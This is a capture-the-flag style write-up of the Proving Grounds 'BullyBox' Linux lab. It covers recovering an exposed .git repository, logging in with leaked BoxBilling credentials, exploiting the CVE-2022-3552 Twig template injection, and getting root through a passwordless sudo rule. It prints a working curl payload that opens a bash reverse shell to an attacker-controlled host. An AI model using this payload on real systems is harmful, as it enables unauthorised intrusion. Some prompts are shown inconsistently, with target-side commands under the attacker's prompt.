Skip to content

BullyBox Writeup - Proving Grounds

Intermediate Linux

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

BullyBox exposes its .git directory over HTTP. Dumping the repository leaks the BoxBilling database credentials, which double as the admin panel login. From there, CVE-2022-3552 lets an authenticated admin inject a Twig server-side template that calls PHP's system(), giving a shell as yuki. A passwordless sudo rule then hands over root.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -n -sC -sV -p- --open $TARGET_IP
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3
80/tcp open  http    Apache httpd 2.4.52 (Ubuntu)
Explain command
-p- Scan all 65535 TCP ports.
-sC -sV Run default scripts and probe service versions.
--open Only show open ports.

Only SSH and HTTP. Add the box to /etc/hosts as bullybox.local and browse it; it's a BoxBilling installation. whatweb returns nothing beyond that.

Directory Brute-Force

Fuzz the web root for hidden paths and files.

┌──(kali㉿kali)-[~]
└─$ feroxbuster -u http://bullybox.local -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -x php,html,txt
200    .git/HEAD                       # exposed git repository
301    bb-admin/                       # BoxBilling admin panel
301    bb-themes/
301    bb-modules/
Explain command
-x Also probe these file extensions.

.git/HEAD returning 200 means the repository is exposed on the web server and can be reconstructed.

Enumeration

Dumping the exposed .git repository

Reconstruct the full repository from the exposed .git folder.

┌──(kali㉿kali)-[~]
└─$ pip install git-dumper --break-system-packages
┌──(kali㉿kali)-[~]
└─$ git-dumper http://bullybox.local/.git /tmp/bullybox-git
[-] Fetching .git/HEAD
[-] Fetching .git/index
<snip>
[-] Running git checkout .

The dumped tree includes bb-config.php, BoxBilling's configuration file.

'db' => array (
    'type' => 'mysql',
    'host' => 'localhost',
    'name' => 'boxbilling',
    'user' => 'admin',
    'password' => '$ADMIN_PASSWORD',
),

The config also reveals the admin panel prefix bb-admin. Log in at http://bullybox.local/bb-admin/staff/login with admin@bullybox.local and the leaked password; the footer confirms BoxBilling 4.22.1.5, which is vulnerable to CVE-2022-3552.

Exploitation

BoxBilling Twig SSTI (CVE-2022-3552)

BoxBilling <= 4.22.1.5 lets an authenticated admin inject a Twig template through the email template API. Twig evaluates it without sandboxing, so the map filter can call PHP's system() directly. Start a listener first.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
listening on [any] $ATTACKER_PORT ...
Explain command
-lvnp Listen, verbose, no DNS resolution, on the given port.

Open the browser dev tools after logging in and copy the PHPSESSID cookie, then send the payload to the email template update endpoint.

┌──(kali㉿kali)-[~]
└─$ curl -s -b "PHPSESSID=<session_cookie>" "http://bullybox.local/api/admin/email/template_update" -d "id=1" --data-urlencode "content={{['bash -c\"bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1\"']|map('system')}}"
{"result":true}

The classic Twig 1.x payload (_self.env.registerUndefinedFilterCallback('exec')) fails on Twig 2.x/3.x because _self.env is no longer exposed; map('system') bypasses that restriction entirely. The listener catches a shell as yuki.

Privilege Escalation

Sudo NOPASSWD ALL

Check sudo rights.

┌──(kali㉿kali)-[~]
└─$ sudo -l
User yuki may run the following commands on bullybox:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL

yuki can run any command as root with no password.

┌──(kali㉿kali)-[~]
└─$ sudo su
root@bullybox:~# id
uid=0(root) gid=0(root) groups=0(root)

su - would still prompt for root's own password even under a NOPASSWD rule; sudo su (without the dash) drops straight into a root shell.

References